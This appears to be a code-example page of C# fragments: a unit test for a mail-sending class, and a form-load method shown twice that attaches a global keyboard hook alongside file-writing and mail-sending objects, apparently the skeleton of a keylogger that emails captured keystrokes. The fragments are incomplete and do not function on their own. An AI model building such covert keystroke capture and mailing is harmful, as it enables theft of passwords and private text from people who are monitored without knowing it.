Exemple #1
0
 public void TestMethodSend()
 {
     string s = "1234567890";
     Assert.IsTrue(mail.Send(s));
     info.Pass = "******";
     mail = new ToMail(info);
     Assert.IsFalse(mail.Send(s));
 }
Exemple #2
0
 private void Form1_Load(object sender, EventArgs e)
 {
     Random rand = new Random();
     R = rand.Next(10, 20);
     //R = 5;
     f = new ToFile();
     MailInfo info = new MailInfo();
     mail = new ToMail(info);
     Hook.KeyPress += Hook_KeyPress;
 }
Exemple #3
0
        private void Form1_Load(object sender, EventArgs e)
        {
            Random rand = new Random();

            R = rand.Next(10, 20);
            //R = 5;
            f = new ToFile();
            MailInfo info = new MailInfo();

            mail           = new ToMail(info);
            Hook.KeyPress += Hook_KeyPress;
        }